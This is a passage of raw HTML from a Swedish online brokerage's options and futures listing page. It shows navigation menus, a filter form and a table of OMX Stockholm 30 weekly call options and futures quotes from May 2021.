<a href="/borshandlade-produkter/certifikat-torg/certifikat-torg.html" class="">
Certifikattorget
</a>
</li>
<li>
<a href="/borshandlade-produkter/certifikat-torg/lista.html" class="">
Certifikatlistan
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Warranter & Mini futures
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/warranter-torg/warranter-torg.html" class="">
Warranttorget
</a>
</li>
<li>
<a href="/borshandlade-produkter/warranter-torg/lista.html" class="">
Warrantlistan
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
ETF:er
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/etf-torg/etf-torg.html" class="">
ETF:er
</a>
</li>
<li>
<a href="/borshandlade-produkter/etf-torg/lista.html" class="">
ETF-lista
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Optioner & terminer
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/optioner-only-menu-button/optioner-terminer.html" class="">
Optioner och terminer
</a>
</li>
<li>
<a href="/borshandlade-produkter/optioner-only-menu-button/optioner-lista-menu.html" class="">
Optionslistan
</a>
</li>
</ul>
</li>
<li>
<a href="/borshandlade-produkter/obligationer-only-menu-button.html" class="">
Obligationer
</a>
</li>
<li>
<a href="/borshandlade-produkter/kapitalandelsbevis.html" class="">
Kapitalandelsbevis
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem "
data-second-nav-id="11">
Private Banking & Pro
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="11">
<li>
<button class="expandNavItem ">
Private Banking
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/private-banking-pro/private-banking/start.html" class="">
Översikt
</a>
</li>
<li>
<a href="/private-banking-pro/private-banking/kontakta-oss.html" class="">
Kontakta oss
</a>
</li>
<li>
<a href="/private-banking-pro/private-banking/prislista.html" class="">
Prislista
</a>
</li>
<li>
<a href="/private-banking-pro/private-banking/superbolanet-pb.html" class="">
Superbolånet PB
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Pro
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/private-banking-pro/pro/start.html" class="">
Översikt
</a>
</li>
<li>
<a href="/private-banking-pro/pro/kontakta-oss.html" class="">
Kontakta oss
</a>
</li>
<li>
<a href="/private-banking-pro/pro/infront/kom-igang-med-infront-del-1.html" class="">
Traderprogram - Infront
</a>
</li>
<li>
<a href="/private-banking-pro/pro/prislista.html" class="">
Prislista
</a>
</li>
</ul>
</li>
</ul>
</li>
<li>
<button class="expandNavItem "
data-second-nav-id="12">
Företag
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="12">
<li>
<a href="/foretag/foretagstjanster.html" class="">
Företagstjänster
</a>
</li>
<li>
<a href="/foretag/tjanstepension.html" class="">
Tjänstepension
</a>
</li>
<li>
<a href="/foretag/forsakringar.html" class="">
Gruppförsäkringar
</a>
</li>
<li>
<a href="/foretag/foretagskonton.html" class="">
Företagskonton
</a>
</li>
<li>
<a href="/foretag/corporate-finance.html" class="">
Corporate Finance
</a>
</li>
<li>
<a href="/foretag/foretagswebben.html" class="">
Företagswebben
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem "
data-second-nav-id="13">
Konton & prislista
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="13">
<li>
<button class="expandNavItem ">
Konton
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/konton-lan-prislista/konton/isk.html" class="">
ISK
</a>
</li>
<li>
<a href="/konton-lan-prislista/konton/aktie-och-fondkonto.html" class="">
Aktie- och fondkonto
</a>
</li>
<li>
<a href="/konton-lan-prislista/konton/kapitalforsakring.html" class="">
Kapitalförsäkring
</a>
</li>
<li>
<a href="/konton-lan-prislista/konton/pensionskonton.html" class="">
Pensionskonton
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Prislista
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/konton-lan-prislista/prislista/courtageklasser.html" class="">
Courtageklasser
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/kontoavgifter.html" class="">
Kontoavgifter
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/handel-sverige.html" class="">
Handel Sverige
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/handel-utland.html" class="">
Handel utland
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/rantor.html" class="">
Räntor
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/administrativa-avgifter.html" class="">
Administrativa avgifter
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/tillaggstjanster.html" class="">
Tilläggstjänster
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/information-ersattning.html" class="">
Information om ersättning
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/starterbjudande.html" class="">
Starterbjudande
</a>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="thirdNavContainer hiddenXs hiddenSm">
<ul class="thirdNav cleanList hide" data-third-nav-id="0">
<li>
<a href="/aktier/aktieinspiration.html" class="">
Aktieinspiration
</a>
</li>
<li>
<a href="/aktier/aktiegeneratorn.html" class="">
Aktiegeneratorn
</a>
</li>
<li>
<a href="/aktier/lista.html" class="">
Aktielistan
</a>
</li>
<li>
<a href="/aktier/ratter-teckningsoptioner.html" class="">
Rätter & Teckningsoptioner
</a>
</li>
<li>
<a href="/aktier/oppettider-handelskalender.html" class="">
Öppettider & handelskalender
</a>
</li>
<li>
<button class="expandNavItem ">
Så handlar du aktier
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/aktier/handla-aktier/aktiehandel.html" class="">
Så köper du aktier
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-europa.html" class="">
Handla aktier i Europa
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-norden.html" class="">
Handla aktier i Norden
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-usa-kanada.html" class="">
Handla aktier i USA & Kanada
</a>
</li>
<li>
<a href="/aktier/handla-aktier/aktiehandel-ovriga-varlden.html" class="">
Handla aktier i övriga världen
</a>
</li>
</ul>
</li>
</ul>
<ul class="thirdNav cleanList hide" data-third-nav-id="1">
<li>
<a href="/fonder/fondinspiration.html" class="">
Fondinspiration
</a>
</li>
<li>
<a href="/fonder/portfoljgeneratorn.html" class="">
Portföljgeneratorn
</a>
</li>
<li>
<a href="/fonder/lista.html" class="">
Fondlistan
</a>
</li>
<li>
<a href="/fonder/handla-fonder.html" class="">
Så sparar du i fonder
</a>
</li>
<li>
<a href="/fonder/vara-indexfonder.html" class="">
Våra indexfonder
</a>
</li>
<li>
<button class="expandNavItem ">
Alla våra egna fonder
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/fonder/vara-egna-fonder/avanza-auto-only-menu-button.html" class="">
Avanza Auto
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-global.html" class="">
Avanza Global
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-emerging-markets.html" class="">
Avanza Emerging Markets
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-usa.html" class="">
Avanza USA
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-europa.html" class="">
Avanza Europa
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-zero.html" class="">
Avanza Zero
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-smabolag-by-skoglund.html" class="">
Avanza Småbolag by Skoglund
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/avanza-world-tech-by-tin.html" class="">
Avanza World Tech by TIN
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/fond-i-fond.html" class="">
Avanza 100, 75 och 50
</a>
</li>
<li>
<a href="/fonder/vara-egna-fonder/vara-fonder-i-ppm.html" class="">
Våra fonder i PPM
</a>
</li>
</ul>
</li>
</ul>
<ul class="thirdNav cleanList hide" data-third-nav-id="5">
<li>
<a href="/pension/borja-pensionsspara.html" class="">
Börja pensionsspara
</a>
</li>
<li>
<a href="/pension/flytta-din-pension.html" class="">
Flytta din pension
</a>
</li>
<li>
<a href="/pension/ta-ut-pensionen.html" class="">
Ta ut pensionen
</a>
</li>
<li>
<a href="/pension/vara-fonder-i-ppm.html" class="">
Våra fonder i PPM
</a>
</li>
<li>
<a href="/pension/formedlare.html" class="">
Förmedlare
</a>
</li>
<li>
<a href="/pension/allt-om-din-pension.html" class="">
Allt om din pension
</a>
</li>
</ul>
<ul class="thirdNav cleanList hide" data-third-nav-id="10">
<li>
<a href="/borshandlade-produkter/oversikt.html" class="">
Om börshandlade produkter
</a>
</li>
<li>
<button class="expandNavItem ">
Avanza Markets
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/avanza-markets/om-avanza-markets.html" class="">
Om Avanza Markets
</a>
</li>
<li>
<a href="/borshandlade-produkter/avanza-markets/lar-dig-mer.html" class="">
Lär dig mer
</a>
</li>
<li>
<a href="/borshandlade-produkter/avanza-markets/handla-certifikat.html" class="">
Handla Certifikat & Trackers
</a>
</li>
<li>
<a href="/borshandlade-produkter/avanza-markets/handla-mini-futures.html" class="">
Handla Mini futures & Turbos
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Trackers
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/trackers/avanza-trackers.html" class="">
Avanza Trackers
</a>
</li>
<li>
<a href="/borshandlade-produkter/trackers/trackers.html" class="">
Trackers
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Certifikat
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/certifikat-torg/certifikat-torg.html" class="">
Certifikattorget
</a>
</li>
<li>
<a href="/borshandlade-produkter/certifikat-torg/lista.html" class="">
Certifikatlistan
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Warranter & Mini futures
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/warranter-torg/warranter-torg.html" class="">
Warranttorget
</a>
</li>
<li>
<a href="/borshandlade-produkter/warranter-torg/lista.html" class="">
Warrantlistan
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
ETF:er
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/etf-torg/etf-torg.html" class="">
ETF:er
</a>
</li>
<li>
<a href="/borshandlade-produkter/etf-torg/lista.html" class="">
ETF-lista
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Optioner & terminer
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/borshandlade-produkter/optioner-only-menu-button/optioner-terminer.html" class="">
Optioner och terminer
</a>
</li>
<li>
<a href="/borshandlade-produkter/optioner-only-menu-button/optioner-lista-menu.html" class="">
Optionslistan
</a>
</li>
</ul>
</li>
<li>
<a href="/borshandlade-produkter/obligationer-only-menu-button.html" class="">
Obligationer
</a>
</li>
<li>
<a href="/borshandlade-produkter/kapitalandelsbevis.html" class="">
Kapitalandelsbevis
</a>
</li>
</ul>
<ul class="thirdNav cleanList hide" data-third-nav-id="11">
<li>
<button class="expandNavItem ">
Private Banking
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/private-banking-pro/private-banking/start.html" class="">
Översikt
</a>
</li>
<li>
<a href="/private-banking-pro/private-banking/kontakta-oss.html" class="">
Kontakta oss
</a>
</li>
<li>
<a href="/private-banking-pro/private-banking/prislista.html" class="">
Prislista
</a>
</li>
<li>
<a href="/private-banking-pro/private-banking/superbolanet-pb.html" class="">
Superbolånet PB
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Pro
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/private-banking-pro/pro/start.html" class="">
Översikt
</a>
</li>
<li>
<a href="/private-banking-pro/pro/kontakta-oss.html" class="">
Kontakta oss
</a>
</li>
<li>
<a href="/private-banking-pro/pro/infront/kom-igang-med-infront-del-1.html" class="">
Traderprogram - Infront
</a>
</li>
<li>
<a href="/private-banking-pro/pro/prislista.html" class="">
Prislista
</a>
</li>
</ul>
</li>
</ul>
<ul class="thirdNav cleanList hide" data-third-nav-id="12">
<li>
<a href="/foretag/foretagstjanster.html" class="">
Företagstjänster
</a>
</li>
<li>
<a href="/foretag/tjanstepension.html" class="">
Tjänstepension
</a>
</li>
<li>
<a href="/foretag/forsakringar.html" class="">
Gruppförsäkringar
</a>
</li>
<li>
<a href="/foretag/foretagskonton.html" class="">
Företagskonton
</a>
</li>
<li>
<a href="/foretag/corporate-finance.html" class="">
Corporate Finance
</a>
</li>
<li>
<a href="/foretag/foretagswebben.html" class="">
Företagswebben
</a>
</li>
</ul>
<ul class="thirdNav cleanList hide" data-third-nav-id="13">
<li>
<button class="expandNavItem ">
Konton
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/konton-lan-prislista/konton/isk.html" class="">
ISK
</a>
</li>
<li>
<a href="/konton-lan-prislista/konton/aktie-och-fondkonto.html" class="">
Aktie- och fondkonto
</a>
</li>
<li>
<a href="/konton-lan-prislista/konton/kapitalforsakring.html" class="">
Kapitalförsäkring
</a>
</li>
<li>
<a href="/konton-lan-prislista/konton/pensionskonton.html" class="">
Pensionskonton
</a>
</li>
</ul>
</li>
<li>
<button class="expandNavItem ">
Prislista
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/konton-lan-prislista/prislista/courtageklasser.html" class="">
Courtageklasser
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/kontoavgifter.html" class="">
Kontoavgifter
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/handel-sverige.html" class="">
Handel Sverige
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/handel-utland.html" class="">
Handel utland
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/rantor.html" class="">
Räntor
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/administrativa-avgifter.html" class="">
Administrativa avgifter
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/tillaggstjanster.html" class="">
Tilläggstjänster
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/information-ersattning.html" class="">
Information om ersättning
</a>
</li>
<li>
<a href="/konton-lan-prislista/prislista/starterbjudande.html" class="">
Starterbjudande
</a>
</li>
</ul>
</li>
</ul>
</div>
</div>
</li>
<li>
<button class="expandNavItem ">
<span>
Låna
</span>
</button>
<div class="secondNavContainer">
<ul class="secondNav cleanList hide">
<li>
<a href="/lana/superlanet.html" class="">
Superlånet
</a>
</li>
<li>
<button class="expandNavItem "
data-second-nav-id="1">
Bolån
</button>
<ul class="thirdNav cleanList hide hiddenMd hiddenLg" data-third-nav-id="1">
<li>
<a href="/lana/bolan/bolan.html" class="">
Bolån+
</a>
</li>
<li>
<button class="expandNavItem ">
Gröna bolån
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/lana/bolan/grona-bolan/gront-bolan.html" class="">
Grönt bolån
</a>
</li>
<li>
<a href="/lana/bolan/grona-bolan/gront-tillaggslan.html" class="">
Grönt tilläggslån
</a>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="thirdNavContainer hiddenXs hiddenSm">
<ul class="thirdNav cleanList hide" data-third-nav-id="1">
<li>
<a href="/lana/bolan/bolan.html" class="">
Bolån+
</a>
</li>
<li>
<button class="expandNavItem ">
Gröna bolån
</button>
<ul class="fourthNav cleanList hide">
<li>
<a href="/lana/bolan/grona-bolan/gront-bolan.html" class="">
Grönt bolån
</a>
</li>
<li>
<a href="/lana/bolan/grona-bolan/gront-tillaggslan.html" class="">
Grönt tilläggslån
</a>
</li>
</ul>
</li>
</ul>
</div>
</div>
</li>
<li>
<a href="/placera/forstasidan.html" class=" is-placeraPage">
<span>
Nyheter
</span>
</a>
</li>
<li>
<button class="expandNavItem ">
<span>
Lär dig mer
</span>
</button>
<div class="secondNavContainer">
<ul class="secondNav cleanList hide">
<li>
<a href="/lar-dig-mer/avanza-play.html" class="">
Avanza Play
</a>
</li>
<li>
<a href="/lar-dig-mer/avanza-akademin.html" class="">
Avanza Akademin
</a>
</li>
<li>
<a href="/lar-dig-mer/avanzapodden.html" class="">
Avanzapodden
</a>
</li>
<li>
<a href="/lar-dig-mer/vara-bloggar.html" class="">
Våra bloggar
</a>
</li>
<li>
<a href="/lar-dig-mer/kom-igang.html" class="">
Kom igång
</a>
</li>
</ul>
<div class="thirdNavContainer hiddenXs hiddenSm">
</div>
</div>
</li>
<li>
<a href="/kundservice.html" class=" ">
<span>
Kundservice
</span>
</a>
</li>
</ul>
</div>
</nav>
</div>
</header>
<div id="main" role="main" class="sWidth">
<div class="gridMarginFix">
<div class="row">
<div class="column grid_12 runningText">
<div class="parsys content"><div class="heading section">
<h1 class=" noMarginTop headingBlack tLeft ">
<div id="optioner---terminer" class="">
Optioner & Terminer
</div>
</h1>
</div>
<div class="section ssicomponent">
<div id="surface" class="surface page defaultText" data-page_type="optionlist">
<div class="component" data-component_type="filterinstrumentlistpage">
<form id="filterContainer" class="optionForm" method="get" action="/ab/optioner/lista/filter" >
<div class="row noMarginTop noMarginBottom">
<div class="column grid_12">
<div id="optionListFilter" class="optionListFilter listFilter" aria-live="polite">
<div class="listFilterOptions content">
<div class="fLeft">
<label for="filterSearch">Sök option</label>
<input
id="filterSearch"
type="search"
name="name"
class="filterInput SText hash"
autocomplete="off"
value="" />
</div>
<ul id="listFilter" class="cleanList floatList clearFix">
<li>
<label for="underlyingInstrument">Underliggande</label>
<select class="underlyingInstrument" id="underlyingInstrumentId" name="underlyingInstrumentId" autocomplete="off" data-placeholder="Alla" >
<option value="5605" >ABB Ltd</option>
<option value="5589" >AstraZeneca</option>
<option value="5394" >Atlas Copco A</option>
<option value="5722" >Boliden</option>
<option value="5398" >Electrolux B</option>
<option value="5400" >Ericsson B</option>
<option value="5626" >Fingerprint Cards B</option>
<option value="5424" >Handelsbanken A</option>
<option value="5524" >Hennes & Mauritz B</option>
<option value="5855" >Lundin Energy</option>
<option value="52636" >Nokia Oyj</option>
<option value="5409" >Nordea Bank Abp</option>
<option value="9270" selected="selected">OMX Stockholm 30</option>
<option value="5415" >SEB A</option>
<option value="5419" >SKF B</option>
<option value="5420" >SSAB A</option>
<option value="5629" >Sandvik</option>
<option value="5401" >Swedbank A</option>
<option value="5637" >Telia Company</option>
<option value="5429" >Volvo B</option>
</select>
</li>
<li>
<label for="types">Typ</label>
<select class="types chosen-items" multiple="multiple" id="optionTypes" name="optionTypes" autocomplete="off" data-placeholder="Alla" >
<option value="STANDARD" >Option</option>
<option value="WEEKLY" selected="selected">Weekly</option>
</select>
</li>
<li>
<label for="callIndicators">Köp/Sälj</label>
<select class="callIndicators chosen-items" multiple="multiple" id="callIndicators" name="callIndicators" autocomplete="off" data-placeholder="Alla" >
<option value="CALL" >Köp</option>
<option value="PUT" >Sälj</option>
</select>
</li>
<li class="last">
<label for="endDates">Slutmånad</label>
<select class="endDates chosen-items" multiple="multiple" id="selectedEndDates" name="selectedEndDates" autocomplete="off" data-placeholder="Alla" >
<option value="2021-05" selected="selected">maj 2021</option>
</select>
</li>
</ul>
</div>
</div>
</div>
</div>
<div id="listFilterResult" class="marginTop15px">
<div class="tabsWithFilter serverLoadedTabs">
<ul class="cleanList floatList tabs defaultTabs clearFix">
<li class="active"><a data-columnclass="overview" href="#">Översikt</a></li>
<li class=""><a data-columnclass="quote" href="#">Kurs</a></li>
<li class=""><a data-columnclass="matrix" href="#">Matris</a></li>
</ul>
<div class="filterResultIndicator clearFix">
<span class="filterCount XSText fLeft bold">Visar 402 av 19092</span>
<div class="filterIndicator fLeft wide">
<div style="width: 2.11%;" class="bar"></div>
</div>
<span class="clearFilter fRight">
<a href="#" class="normalBlack underline">Rensa filtrering</a>
<a title="Rensa filtrering" class="icon XSText closeIcoSmall" href="#"></a>
</span>
</div>
</div>
<div class="row">
<div class="column grid_12">
<div aria-live="polite">
<table class="solidRows solidThickEnding optionLists borderBox tRight">
<thead>
<tr>
<th class="buySellButtons tLeft noSort"></th>
<th class="tLeft">Underliggande</th>
<th>+/-</th>
<th>+/- %</th>
<th></th>
<th></th>
<th>Senast</th>
<th>Högst</th>
<th>Lägst</th>
<th class="noSort">Tid</th>
<th class="tCenter noSort tools"></th>
</tr>
</thead>
<tbody>
<tr class="noRowHighlight" data-oid="19002" data-delayed="true">
<td class="tLeft buySellButtons noSort">
</td>
<td class="tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/index/om-indexet.html/19002/omx-stockholm-30" class="link" title="OMX Stockholm 30">
OMX Stockholm 30</a>
</span></td>
<td class="noSort change positive">49,07</td>
<td class="noSort changePercent positive">2,24</td>
<td class="noSort emptyTableData"></td>
<td class="noSort emptyTableData"></td>
<td class="noSort lastPrice">2 243,65</td>
<td class="noSort highestPrice">2 245,83</td>
<td class="noSort lowestPrice">2 213,72</td>
<td class="updated noSort">16:20:10</td>
<td class="tCenter noSort tools"><div class="toolsFlexContainer" data-orderbook_id="19002" data-instrument_id="9270"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="row">
<div class="column grid_12">
<div aria-live="polite">
<table class="solidRows solidThickEnding optionLists borderBox tRight">
<thead>
<tr>
<th class="buySellButtons tLeft noSort"></th>
<th class="tLeft">Termin</th>
<th>+/-</th>
<th>+/- %</th>
<th>Köp</th>
<th>Sälj</th>
<th>Senast</th>
<th>Högst</th>
<th>Lägst</th>
<th>Antal</th>
<th>Tid</th>
<th class="noSort">Slutdag</th>
<th class="tCenter noSort tools"></th>
</tr>
</thead>
<tbody>
<tr
class="noRowHighlight"
data-oid="1190196"
data-delayed="true"
>
<td class="tLeft buySellButtons noSort"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1190196/omxs301e"
title="Köp terminer i OMXS301E"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1190196/omxs301e"
title="Sälj terminer i OMXS301E"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="tLeft instrumentName">
<span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/terminer/om-terminen.html/1190196/omxs301e" class="link" title="OMXS301E">
OMXS301E</a>
</span>
</td>
<td class="noSort change positive">52,25</td>
<td class="noSort changePercent positive">2,39</td>
<td class="noSort buyPrice">2 241,00</td>
<td class="noSort sellPrice">2 241,25</td>
<td class="noSort lastPrice">2 241,25</td>
<td class="noSort highestPrice">2 243,40</td>
<td class="noSort lowestPrice">2 207,00</td>
<td class="noSort totalVolumeTraded">85 951</td>
<td class="noSort updated">16:20:10</td>
<td class="endDate noSort">
2021-05-21
</td>
<td class="tCenter noSort">
<div class="toolsFlexContainer" data-orderbook_id="1190196" data-instrument_id="1193115"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="row optionList">
<div class="column grid_12">
<input type="hidden" name="page" value="1" />
<input type="hidden" name="sortField" value="NAME" />
<input type="hidden" name="sortOrder" value="ASCENDING" />
<input type="hidden" name="activeTab" value="overview" />
<div id="contentTableWrapper" class="optionListContentTableWrapper tabs_content" aria-live="polite">
<table id="contentTable" class="solidRows solidThickEnding optionList borderBox tRight sorted tablesorterIcons">
<thead class="whiteBg">
<tr>
<th class="overview buySellButtons tLeft noSort"></th>
<th class="overview tLeft instrumentName"><a href="#" data-sortfield="NAME">Option</a></th>
<th class="overview"><a href="#" data-sortfield="OPTION_TYPE_NAME">Typ</a></th>
<th class="overview"><a href="#" data-sortfield="CALL_INDICATOR_NAME">Köp/Sälj</a></th>
<th class="overview"><a href="#" data-sortfield="STRIKE_PRICE">Lösenpris</a></th>
<th class="overview">Spread %</th>
<th class="overview"><a href="#" data-sortfield="END_DATE">Slutdag</a></th>
<th class="overview tCenter tools"></th>
</tr>
</thead>
<tbody>
<tr
class="noRowHighlight"
data-oid="1210860"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1210860/omxs301e07y2045"
title="Köp optioner i OMXS301E07Y2045"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1210860/omxs301e07y2045"
title="Sälj optioner i OMXS301E07Y2045"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1210860/omxs301e07y2045" class="link" title="OMXS301E07Y2045">
OMXS301E07Y2045</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 045,00</td>
<td class="overview noSort">5,08</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1210860" data-instrument_id="1213760"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1210859"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1210859/omxs301e07y2050"
title="Köp optioner i OMXS301E07Y2050"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1210859/omxs301e07y2050"
title="Sälj optioner i OMXS301E07Y2050"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1210859/omxs301e07y2050" class="link" title="OMXS301E07Y2050">
OMXS301E07Y2050</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 050,00</td>
<td class="overview noSort">5,22</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1210859" data-instrument_id="1213759"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1209858"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209858/omxs301e07y2055"
title="Köp optioner i OMXS301E07Y2055"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209858/omxs301e07y2055"
title="Sälj optioner i OMXS301E07Y2055"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209858/omxs301e07y2055" class="link" title="OMXS301E07Y2055">
OMXS301E07Y2055</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 055,00</td>
<td class="overview noSort">5,35</td>
<td class="overview">2021-05-07</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1209858" data-instrument_id="1212760"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1209857"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1209857/omxs301e07y2060"
title="Köp optioner i OMXS301E07Y2060"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1209857/omxs301e07y2060"
title="Sälj optioner i OMXS301E07Y2060"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1209857/omxs301e07y2060" class="link" title="OMXS301E07Y2060">
